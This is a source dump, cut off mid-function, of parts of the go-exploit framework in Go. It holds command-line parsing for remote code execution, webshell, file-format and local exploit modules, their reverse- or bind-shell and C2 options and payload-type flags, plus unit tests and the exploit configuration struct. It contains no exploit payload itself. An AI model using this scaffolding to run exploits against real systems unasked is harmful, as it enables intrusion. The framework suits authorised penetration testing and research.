supportedPayloadsStrings := make([]string, 0)
for _, value := range conf.SupportedPayloads {
supportedPayloadsStrings = append(supportedPayloadsStrings, value.String())
}
customFlags := make([]CustomFlag, 0)
for key, value := range conf.StringFlagsMap {
customFlags = append(customFlags, CustomFlag{
Name: key,
Type: fmt.Sprintf("%T", *value),
Default: *value,
})
}
for key, value := range conf.UintFlagsMap {
customFlags = append(customFlags, CustomFlag{
Name: key,
Type: fmt.Sprintf("%T", *value),
Default: strconv.FormatUint(uint64(*value), 10),
})
}
for key, value := range conf.IntFlagsMap {
customFlags = append(customFlags, CustomFlag{
Name: key,
Type: fmt.Sprintf("%T", *value),
Default: strconv.Itoa(*value),
})
}
for key, value := range conf.BoolFlagsMap {
customFlags = append(customFlags, CustomFlag{
Name: key,
Type: fmt.Sprintf("%T", *value),
Default: strconv.FormatBool(*value),
})
}
output.PrintSuccess("Implementation Details",
"ExploitType", fmt.Sprintf("%v", conf.ExType),
"AssetDetection", conf.Impl.AssetDetection,
"VersionScanner", conf.Impl.VersionScanning,
"Exploitation", conf.Impl.Exploitation,
"SupportedC2", supportedC2Strings,
"SupportedPayloads", supportedPayloadsStrings,
"Vendor", conf.Vendor,
"Products", conf.Products,
"CPE", conf.CPE,
"CVE", conf.CVE,
"Protocol", conf.Protocol,
"DefaultPort", conf.Rport,
"CustomFlags", customFlags,
)
}
// Parses the command line arguments used by RCE exploits.
func CodeExecutionCmdLineParse(conf *config.Config) bool {
var rhosts string
var rhostsFile string
var rports string
var logFile string
var frameworkLogLevel string
var exploitLogLevel string
var proxy string
var c2Selection string
dbFlags(conf)
proxyFlags(&proxy)
loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
remoteHostFlags(conf, &rhosts, &rhostsFile, &rports)
localHostFlags(conf)
exploitFunctionality(conf)
sslFlags(conf)
c2Flags(&c2Selection, conf)
addPayloadFlags(conf)
detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")
flag.Usage = func() {
// banner explaining what the software is
fmt.Printf("An exploit for %s %s that can generate a reverse shell or bind shell\n\n", conf.Product, conf.CVE)
// print default usage information
flag.PrintDefaults()
}
flag.Parse()
if *detailsFlag {
printDetails(conf)
return false
}
handleProxyOptions(proxy)
// validate remaining command line arguments
success := handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&
commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)
// validate a reverse shell or bind shell params are correctly specified
if conf.DoExploit {
success = validateC2Selection(c2Selection, conf)
if rhostsFile == "-" {
// this is a pretty dirty check but c2 that use stdin can't be used after piping targets in
if conf.C2Type == c2.SimpleShellServer || conf.C2Type == c2.SimpleShellClient ||
conf.C2Type == c2.HTTPServeShell || conf.C2Type == c2.SSLShellServer {
output.PrintFrameworkError("Piping targets via stdin cannot be paired with c2 that uses stdin")
success = false
}
}
if conf.Bport == 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) && conf.C2Type.Category != c2.ExternalCategory {
output.PrintFrameworkError("Missing exploitation options (bindshell or reverse shell)")
success = false
}
if conf.Bport != 0 && conf.Lport != 0 {
output.PrintFrameworkError("User specified both bind shell and reverse shell ports")
success = false
}
}
return success
}
func InformationDisclosureCmdLineParse(conf *config.Config) bool {
var rhosts string
var rhostsFile string
var rports string
var logFile string
var frameworkLogLevel string
var exploitLogLevel string
var proxy string
dbFlags(conf)
proxyFlags(&proxy)
loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
remoteHostFlags(conf, &rhosts, &rhostsFile, &rports)
localHostFlags(conf)
exploitFunctionality(conf)
sslFlags(conf)
addPayloadFlags(conf)
detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")
flag.Usage = func() {
// banner explaining what the software is
fmt.Printf("An exploit for %s %s that can leak sensitive data\n\n", conf.Product, conf.CVE)
// print default usage information
flag.PrintDefaults()
// usage examples
fmt.Println("Usage example:")
fmt.Println("\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443")
}
flag.Parse()
if *detailsFlag {
printDetails(conf)
return false
}
handleProxyOptions(proxy)
return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&
commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)
}
func WebShellCmdLineParse(conf *config.Config) bool {
var rhosts string
var rhostsFile string
var rports string
var logFile string
var frameworkLogLevel string
var exploitLogLevel string
var proxy string
dbFlags(conf)
proxyFlags(&proxy)
loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
remoteHostFlags(conf, &rhosts, &rhostsFile, &rports)
localHostFlags(conf)
exploitFunctionality(conf)
sslFlags(conf)
addPayloadFlags(conf)
detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")
flag.Usage = func() {
// banner explaining what the software is
fmt.Printf("An exploit for %s %s that drops a webshell\n\n", conf.Product, conf.CVE)
// print default usage information
flag.PrintDefaults()
// usage examples
fmt.Println("Usage example:")
fmt.Println("\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443")
}
flag.Parse()
if *detailsFlag {
printDetails(conf)
return false
}
handleProxyOptions(proxy)
return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&
commonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)
}
func loadFileFormatTemplate(templateFilePath string, conf *config.Config) bool {
if len(templateFilePath) == 0 {
// the user doesn't have to provide an -in. There are plenty of scenarios where I could imagine
// the template would be embedded in the exploit. That seems fine to me.
return true
}
fileTemplate, err := os.Open(templateFilePath)
if err != nil {
output.PrintfFrameworkError("Failed to open the template file: %s", err.Error())
return false
}
defer fileTemplate.Close()
content, err := io.ReadAll(fileTemplate)
if err != nil {
output.PrintfFrameworkError("Failed to read the template file: %s", err.Error())
return false
}
conf.FileTemplateData = string(content)
if len(conf.FileTemplateData) == 0 {
output.PrintfFrameworkError("The template file was empty")
return false
}
return true
}
// FileFormat doesn't handle any type of remote host configuration. FileFormat exploits just
// take an -in and -out, where "in" is expected to be some type of template and "out" is
// the file to generate.
func FormatFileCmdLineParse(conf *config.Config) bool {
var logFile string
var frameworkLogLevel string
var exploitLogLevel string
var templateFile string
var c2Selection string
loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
localHostFlags(conf)
exploitFunctionality(conf)
c2Flags(&c2Selection, conf)
addPayloadFlags(conf)
detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")
flag.StringVar(&templateFile, "in", "", "The file format template to work with")
flag.StringVar(&conf.FileFormatFilePath, "out", "", "The file to write the malicious file to")
flag.Usage = func() {
// banner explaining what the software is
fmt.Printf("An exploit for %s %s that crafts a malicious file\n\n", conf.Product, conf.CVE)
// print default usage information
flag.PrintDefaults()
// usage examples
fmt.Println("Usage example:")
fmt.Println("\t./exploit -e -in <file> -out <file>")
}
flag.Parse()
if *detailsFlag {
printDetails(conf)
return false
}
if !loadFileFormatTemplate(templateFile, conf) {
return false
}
if len(conf.FileFormatFilePath) == 0 {
output.PrintFrameworkError("Must provide an -out parameter")
return false
}
if !conf.DoExploit {
output.PrintFrameworkError("Exploitation must be invoked for file format exploits")
return false
}
if conf.DoVerify || conf.DoVersionCheck {
output.PrintFrameworkError("Verification and version checking are disabled for file format exploits")
return false
}
// must be validate (to set default for payload gen) and then check third party c2
if !validateC2Selection(c2Selection, conf) {
return false
}
if conf.Lport == 0 || len(conf.Lhost) == 0 {
output.PrintFrameworkError("Missing exploitation options (-Lhost or -Lport)")
return false
}
return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel)
}
func LocalCmdLineParse(conf *config.Config) bool {
var logFile string
var frameworkLogLevel string
var exploitLogLevel string
var c2Selection string
loggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)
localHostFlags(conf)
exploitFunctionality(conf)
c2Flags(&c2Selection, conf)
addPayloadFlags(conf)
detailsFlag := flag.Bool("details", false, "Print the implementation details for this exploit")
flag.Usage = func() {
// banner explaining what the software is
fmt.Printf("An exploit for %s %s that exploits a local vulnerability\n\n", conf.Product, conf.CVE)
// print default usage information
flag.PrintDefaults()
// usage examples
fmt.Println("Usage example:")
fmt.Println("\t./exploit -e")
}
flag.Parse()
if *detailsFlag {
printDetails(conf)
return false
}
// must be validate (to set default for payload gen) and then check third party c2
if !conf.ThirdPartyC2Server && !validateC2Selection(c2Selection, conf) {
return false
}
// For LPE exploits that don't need C2 (e.g., info disclosure, token theft), skip lhost/lport check
// if the exploit is configured with no C2 support or third party server
if !conf.ThirdPartyC2Server && len(conf.SupportedC2) > 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) {
output.PrintFrameworkError("Missing exploitation options (-lhost or -lport)")
return false
}
return handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel)
}
func addDefaultPayloadFlags(conf *config.Config) (string, string, map[payload.Type]int, []string, []string) {
if len(conf.SupportedPayloads) == 1 {
conf.SupportedPayloads[0].Default = payload.Default
}
hasDefault := false
defaultType := ""
defaultArch := ""
typeOptions := []string{}
archOptions := []string{}
count := map[payload.Type]int{}
for i, supported := range conf.SupportedPayloads {
switch supported.Type {
case payload.LinuxCommand,
payload.WindowsCommand,
payload.WindowsPowerShellCommand,
payload.MacCommand,
payload.GenericCommand:
_, exists := conf.StringFlagsMap["command"]
if !exists {
conf.CreateStringFlag("command", "", "Command to use for the exploit, an empty string will use the exploit default.")
}
case payload.LinuxELF,
payload.LinuxSO,
payload.WindowsEXE,
payload.WindowsDLL,
payload.Webshell:
_, exists := conf.StringFlagsMap["payload"]
if !exists {
conf.CreateStringFlag("payload", "", "Path to load custom payload from, an empty string will use the exploit default.")
}
case payload.UnspecifiedType:
output.PrintFrameworkError("Unspecified payload type used")
default:
output.PrintFrameworkError("Unexpected payload type used")
}
count[supported.Type]++
typeOptions = append(typeOptions, supported.Type.String())
archOptions = append(archOptions, supported.Arch.String())
if i == 0 && len(conf.SupportedPayloads) == 1 {
defaultType = supported.Type.String()
defaultArch = supported.Arch.String()
continue
}
if hasDefault && supported.Default == payload.Default {
output.PrintfFrameworkWarn("Multiple default payloads selected, using the first and skipping: %s", supported.Type.String())
continue
}
if !hasDefault && supported.Default == payload.Default {
defaultType = supported.Type.String()
defaultArch = supported.Arch.String()
}
}
return defaultType, defaultArch, count, typeOptions, archOptions
}
// Adds default flags for payload types, this allows classes of payloads that are supported to
// use globally defined command line flags without having to redefine them each exploit.
func addPayloadFlags(conf *config.Config) {
if conf.PayloadFlags {
defaultType, defaultArch, count, typeOptions, archOptions := addDefaultPayloadFlags(conf)
if len(conf.SupportedPayloads) > 1 {
if defaultType == "" {
output.PrintFrameworkError("No default payload type was defined.")
}
conf.CreateStringFlag("payload-type", defaultType, "Payload type to use based on supported types: "+strings.Join(typeOptions, ", "))
for _, v := range count {
if v > 1 {
conf.CreateStringFlag("payload-arch", defaultArch, "Payload architecture to use based on supported archs: "+strings.Join(archOptions, ", "))
break
}
}
}
}
}
================================================
FILE: cli/commandline_test.go
================================================
package cli
import (
"strings"
"testing"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
)
func TestCodeExecutionCmdLineParse(t *testing.T) {
conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
conf.Rhost = "rcetest"
success := CodeExecutionCmdLineParse(conf)
if conf.Rhost != "" {
t.Fatal("Rhost should have no default value")
}
if conf.Rport != 1270 {
t.Fatal("Rport should default to passed in value")
}
if conf.SSL != false {
t.Fatal("SSL should default to false")
}
if conf.DoVerify != false {
t.Fatal("verify should default to false")
}
if conf.DoVersionCheck != false {
t.Fatal("version check should default to false")
}
if conf.DoExploit != false {
t.Fatal("exploit should default to false")
}
if success != false {
t.Fatal("parsing should have failed")
}
if conf.ThirdPartyC2Server != false {
t.Fatal("outside should default to false")
}
if conf.C2Timeout != 30 {
t.Fatal("timeout should default to 30")
}
}
func TestCommonValidate(t *testing.T) {
conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
var rhosts string
var rports string
var rhostsFile string
if commonValidate(conf, rhosts, rports, rhostsFile) {
t.Fatal("commonValidate should fail with an empty Rhost")
}
conf.Rhost = "10.9.49.99"
if commonValidate(conf, rhosts, rports, rhostsFile) {
t.Fatal("commonValidate should fail with no supplied action")
}
conf.DoVerify = true
if !commonValidate(conf, rhosts, rports, rhostsFile) {
t.Fatal("commonValidate should succeed with rhost, rport, and doVerify")
}
conf.Rhost = ""
if !commonValidate(conf, "127.0.0.1", "1270,1280", rhostsFile) {
t.Fatal("commonValidate should have succeeded")
}
if !commonValidate(conf, "127.0.0.1,127.0.0.2", rports, rhostsFile) {
t.Fatal("commonValidate have succeeded")
}
}
func TestRhostsParsing(t *testing.T) {
conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
if !handleRhostsOptions(conf, "127.0.0.1,127.0.0.2", "80,443", "") {
t.Fatal("commonValidate should succeed")
}
if len(conf.RhostsNTuple) != 4 {
t.Fatal("Failed to parse rhosts")
}
if conf.RhostsNTuple[0].Rhost != "127.0.0.1" || conf.RhostsNTuple[1].Rhost != "127.0.0.1" ||
conf.RhostsNTuple[2].Rhost != "127.0.0.2" || conf.RhostsNTuple[3].Rhost != "127.0.0.2" {
t.Fatal("Failed to parse rhosts")
}
if conf.RhostsNTuple[0].Rport != 80 || conf.RhostsNTuple[1].Rport != 443 {
t.Fatal("Failed to parse rports")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if !handleRhostsOptions(conf, "127.0.0.3", "443", "") {
t.Fatal("commonValidate should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Failed to parse rhosts")
}
if conf.RhostsNTuple[0].Rhost != "127.0.0.3" {
t.Fatal("Failed to parse rhosts")
}
if conf.RhostsNTuple[0].Rport != 443 {
t.Fatal("Failed to parse rports")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
conf.Rhost = "127.0.0.4"
if !handleRhostsOptions(conf, "", "443,80,8080", "") {
t.Fatal("commonValidate should succeed")
}
if len(conf.RhostsNTuple) != 3 {
t.Fatal("Failed to parse rhosts")
}
if conf.RhostsNTuple[0].Rhost != "127.0.0.4" {
t.Fatal("Failed to parse rhosts")
}
if conf.RhostsNTuple[0].Rport != 443 {
t.Fatal("Failed to parse rports")
}
if conf.RhostsNTuple[1].Rport != 80 {
t.Fatal("Failed to parse rports")
}
if conf.RhostsNTuple[2].Rport != 8080 {
t.Fatal("Failed to parse rports")
}
conf.Rhost = ""
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if !handleRhostsOptions(conf, "192.168.1.0/24", "80", "") {
t.Fatal("commonValidate should succeed")
}
if len(conf.RhostsNTuple) != 256 {
t.Fatal("Failed to parse rhosts")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if !handleRhostsOptions(conf, "192.168.1.0/24", "80,8080", "") {
t.Fatal("commonValidate should succeed")
}
if len(conf.RhostsNTuple) != 512 {
t.Fatal("Failed to parse rhosts")
}
}
func TestParseTuple(t *testing.T) {
conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
if !parseTuple(conf, "example.com:80") {
t.Fatal("ParseTuple should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 80 {
t.Fatal("Invalid tuple parsing")
}
if conf.RhostsNTuple[0].Rhost != "example.com" {
t.Fatal("Invalid tuple parsing")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if parseTuple(conf, "example.com") {
t.Fatal("ParseTuple should have failed")
}
if parseTuple(conf, "example.com:hi") {
t.Fatal("ParseTuple should have failed")
}
if !parseTuple(conf, "127.0.0.5:8080") {
t.Fatal("ParseTuple should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 8080 {
t.Fatal("Invalid tuple parsing")
}
if conf.RhostsNTuple[0].Rhost != "127.0.0.5" {
t.Fatal("Invalid tuple parsing")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if !parseTuple(conf, "fe80::1b8c:b574:ebec:81c0:65531") {
t.Fatal("ParseTuple should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 65531 {
t.Fatal("Invalid tuple parsing")
}
if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c0" {
t.Fatal("Invalid tuple parsing")
}
}
func TestParseTriplet(t *testing.T) {
conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
if !parseTriplet(conf, "example.com,80,") {
t.Fatal("parseTriplet should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 80 {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].Rhost != "example.com" {
t.Fatal("Invalid triplet parsing")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if parseTriplet(conf, "example.com,,") {
t.Fatal("parseTriplet should have failed")
}
if parseTriplet(conf, "example.commhi,") {
t.Fatal("parseTriplet should have failed")
}
if !parseTriplet(conf, "127.0.0.3,8080,") {
t.Fatal("parseTriplet should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 8080 {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].Rhost != "127.0.0.3" {
t.Fatal("Invalid triplet parsing")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
if !parseTriplet(conf, "fe80::1b8c:b574:ebec:81c0,65531,") {
t.Fatal("parseTriplet should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 65531 {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c0" {
t.Fatal("Invalid triplet parsing")
}
}
func TestParseIntelJSON(t *testing.T) {
conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270)
intel := `{"ip":"10.9.49.2","port":80,"ssl":false,"lastSeen":"2024-02-18T23:56:34.454071","asn":"AS33915","country":"Netherlands","country_code":"NL","city":"Hoofddorp","cve":["CVE-2021-36260"],"matches":["Hikvision IP Camera Web Language Command Injection"],"hostnames":["89-220-147-28.cable.dynamic.v4.ziggo.nl"],"type":{"id":"initial-access","finding":"potentially vulnerable"},"feed_ids":["a65d5009-f84b-4c3d-8803-1f8b1246ddeb"]}`
if !parseIPIntel(conf, intel) {
t.Fatal("parseTriplet should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 80 {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].Rhost != "10.9.49.2" {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].SSL != config.SSLDisabled {
t.Fatal("Invalid triplet parsing")
}
conf.RhostsNTuple = make([]config.RhostTriplet, 0)
intel = `{"ip":"fe80::1b8c:b574:ebec:81c8","port":81,"ssl":true,"lastSeen":"2024-02-18T23:56:34.454071","asn":"AS33915","country":"Netherlands","country_code":"NL","city":"Hoofddorp","cve":["CVE-2021-36260"],"matches":["Hikvision IP Camera Web Language Command Injection"],"hostnames":["89-220-147-28.cable.dynamic.v4.ziggo.nl"],"type":{"id":"initial-access","finding":"potentially vulnerable"},"feed_ids":["a65d5009-f84b-4c3d-8803-1f8b1246ddeb"]}`
if !parseIPIntel(conf, intel) {
t.Fatal("parseTriplet should succeed")
}
if len(conf.RhostsNTuple) != 1 {
t.Fatal("Missing Rhosts entry")
}
if conf.RhostsNTuple[0].Rport != 81 {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c8" {
t.Fatal("Invalid triplet parsing")
}
if conf.RhostsNTuple[0].SSL != config.SSLEnabled {
t.Fatal("Invalid triplet parsing")
}
}
func TestFileFormatParams(t *testing.T) {
conf := config.NewLocal(config.FileFormat, []c2.Impl{}, "test product", "CVE-2023-1270")
if !loadFileFormatTemplate("", conf) {
t.Fatal("an empty file path should pass validation")
}
if !loadFileFormatTemplate("commandline_test.go", conf) {
t.Fatal("failed to load the file format template")
}
if !strings.Contains(conf.FileTemplateData, "TestFileFormatParams") {
t.Fatal("failed to load the file format template")
}
}
================================================
FILE: config/config.go
================================================
// Exploit and framework configuration.
package config
import (
"bytes"
"flag"
"fmt"
"strings"
"text/template"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/payload"
"github.com/vulncheck-oss/go-exploit/protocol"
)
type ExploitType int
const (
CodeExecution ExploitType = 0
InformationDisclosure ExploitType = 1
Webshell ExploitType = 2
FileFormat ExploitType = 3
Local ExploitType = 4
)
type ImplementedFeatures struct {
AssetDetection bool
VersionScanning bool
Exploitation bool
}
type SSLSupport int
const (
SSLDisabled SSLSupport = 0
SSLEnabled SSLSupport = 1
SSLAutodiscover SSLSupport = 2
)
type RhostTriplet struct {
Rhost string
Rport int
SSL SSLSupport
}
// The config struct contains a mix of module specified configurations
// and user specified configurations. The Config struct is first generated
// by the exploit implementation and then modified by option parsing.
type Config struct {
// the following are values configured by the exploit module
// implemented features describes which three stages the exploit implements
Impl ImplementedFeatures
// the vendor of the targeted product
Vendor string
// the targeted products
Products []string
// A combination of the Vendor and Products strings
Product string
// the CPE for the targeted product
CPE []string
// the CVE being tested
CVE string
// the protocol being targeted
Protocol string
// the type of exploit being executed
ExType ExploitType
// the c2 supported by the exploit
SupportedC2 []c2.Impl
// the payload types that are supported by the exploit
SupportedPayloads []payload.Supported
// whether to parse payload flags
PayloadFlags bool
SelectedPayload payload.Supported
CustomPayload []byte
// Some exploits need to define custom flags. Use the Create*Flag functions
// to store them in the following data structures. They can then be fetched
// using the Get*Flag functions
StringFlagsMap map[string]*string
IntFlagsMap map[string]*int
UintFlagsMap map[string]*uint
BoolFlagsMap map[string]*bool
// the following are values configured by the user
// target host, the target address/name the exploit will work on
Rhost string
// target port, the target port the exploit will work on
Rport int
// a list of specific targets
RhostsNTuple []RhostTriplet
// local host for remote exploits
Lhost string
// local port
Lport int
// bind port
Bport int
// indicates if the framework should autodetect ssl/plain
DetermineSSL bool
// indicates if ssl is used in comms
SSL bool
// indicates if we run the target verify
DoVerify bool
// indicates if we run the version check
DoVersionCheck bool
// indicates if we run the exploit
DoExploit bool
// automatically start the c2 or not
C2AutoStart bool
// the user requested c2 to use
C2Type c2.Impl
// C2 server timeout
C2Timeout int
// Indicates if the c2 server will be handled elsewhere
ThirdPartyC2Server bool
// The database we are working with
DBName string
// File format template
FileTemplateData string
// File format exploit output
FileFormatFilePath string
}
// Convert ExploitType to String.
func (eType ExploitType) String() string {
switch eType {
case CodeExecution:
return "CodeExecution"
case InformationDisclosure:
return "InformationDisclosure"
case Webshell:
return "Webshell"
case FileFormat:
return "FileFormat"
case Local:
return "Local"
default:
return "Invalid exploit type"
}
}
// Deprecated: New does not affectively describe the affected/targeted product. Use NewRemoteExploit.
func New(extype ExploitType, supportedC2 []c2.Impl, product string, cve string, defaultPort int) *Config {
returnVal := new(Config)
returnVal.ExType = extype
returnVal.SupportedC2 = supportedC2
returnVal.Product = product
returnVal.CVE = cve
returnVal.Rport = defaultPort
returnVal.PayloadFlags = false
return returnVal
}
// Deprecated: NewLocal does not affectively describe the affected/targeted product. Use NewLocalExploit.
func NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string, cve string) *Config {
returnVal := new(Config)
returnVal.ExType = extype
returnVal.SupportedC2 = supportedC2
returnVal.Product = product
returnVal.CVE = cve
returnVal.PayloadFlags = false
return returnVal
}
// Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:
//
// conf := config.NewRemoteExploit(
// config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
// config.CodeExecution, []c2.Impl{c2.SimpleShellServer},
// "Atlassian", []string{"Confluence"}, []string{"cpe:2.3:a:atlassian:confluence"},
// "CVE-2023-22527", "HTTP", 8090)
func NewRemoteExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string,
product []string, cpe []string, cve string, protocol string, defaultPort int,
) *Config {
newConf := new(Config)
newConf.Product = deDupeProductName(product, vendor)
newConf.InitFlagsStructs()
newConf.Impl = implemented
newConf.ExType = extype
newConf.SupportedC2 = supportedC2
newConf.Vendor = vendor
newConf.Products = product
newConf.C2AutoStart = true
newConf.CPE = cpe
newConf.CVE = cve
newConf.Protocol = protocol
newConf.Rport = defaultPort
newConf.PayloadFlags = false
return newConf
}
func deDupeProductName(product []string, vendor string) string {
joinedProducts := strings.Join(product, "/")
if joinedProducts == vendor {
return vendor
}
return fmt.Sprintf("%s %s", vendor, joinedProducts)
}
// Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:.
func NewLocalExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string,
product []string, cpe []string, cve string,
) *Config {
newConf := new(Config)
newConf.Product = deDupeProductName(product, vendor)
newConf.InitFlagsStructs()
newConf.Impl = implemented
newConf.ExType = extype
newConf.SupportedC2 = supportedC2
newConf.Vendor = vendor
newConf.Products = product
newConf.C2AutoStart = true
newConf.CPE = cpe
newConf.CVE = cve
newConf.PayloadFlags = false
return newConf
}
func (conf *Config) InitFlagsStructs() {
conf.StringFlagsMap = make(map[string]*string)
conf.IntFlagsMap = make(map[string]*int)
conf.UintFlagsMap = make(map[string]*uint)
conf.BoolFlagsMap = make(map[string]*bool)
}
// Create a command line flag for the string var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateStringFlag(name string, value string, usage string) {
valuePtr := &value
_, exists := conf.StringFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
conf.StringFlagsMap[name] = valuePtr
flag.StringVar(conf.StringFlagsMap[name], name, value, usage)
}
// Create a command line flag for the string var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateStringVarFlag(param *string, name string, value string, usage string) {
_, exists := conf.StringFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
conf.StringFlagsMap[name] = param
flag.StringVar(param, name, value, usage)
}
// Create a command line flag for the uint var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateUintFlag(name string, value uint, usage string) {
_, exists := conf.UintFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
valuePtr := &value
conf.UintFlagsMap[name] = valuePtr
flag.UintVar(conf.UintFlagsMap[name], name, value, usage)
}
// Create a command line flag for the uint var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateUintVarFlag(param *uint, name string, value uint, usage string) {
_, exists := conf.UintFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
conf.UintFlagsMap[name] = param
flag.UintVar(param, name, value, usage)
}
// Create a command line flag for the int var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateIntFlag(name string, value int, usage string) {
_, exists := conf.IntFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
valuePtr := &value
conf.IntFlagsMap[name] = valuePtr
flag.IntVar(conf.IntFlagsMap[name], name, value, usage)
}
// Create a command line flag for the int var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateIntVarFlag(param *int, name string, value int, usage string) {
_, exists := conf.IntFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
conf.IntFlagsMap[name] = param
flag.IntVar(param, name, value, usage)
}
// Create a command line flag for the bool var "name" with the default value of "value" and
// store the result locally.
func (conf *Config) CreateBoolFlag(name string, value bool, usage string) {
_, exists := conf.BoolFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
valuePtr := &value
conf.BoolFlagsMap[name] = valuePtr
flag.BoolVar(conf.BoolFlagsMap[name], name, value, usage)
}
// Create a command line flag for the bool var "name" with the default value of "value" and
// store the result locally *using an external "param" pointer*.
func (conf *Config) CreateBoolVarFlag(param *bool, name string, value bool, usage string) {
_, exists := conf.BoolFlagsMap[name]
if exists {
output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name)
}
conf.BoolFlagsMap[name] = param
flag.BoolVar(param, name, value, usage)
}
// Fetch the configured string value for "name".
func (conf *Config) GetStringFlag(name string) string {
value, ok := conf.StringFlagsMap[name]
if !ok {
output.PrintfFrameworkError("Requested invalid flag: %s", name)
return ""
}
return *value
}
// Fetch the configured uint value for "name".
func (conf *Config) GetUintFlag(name string) uint {
value, ok := conf.UintFlagsMap[name]
if !ok {
output.PrintfFrameworkError("Requested invalid flag: %s", name)
return 0
}
return *value
}
// Fetch the configured uint value for "name".
func (conf *Config) GetIntFlag(name string) int {
value, ok := conf.IntFlagsMap[name]
if !ok {
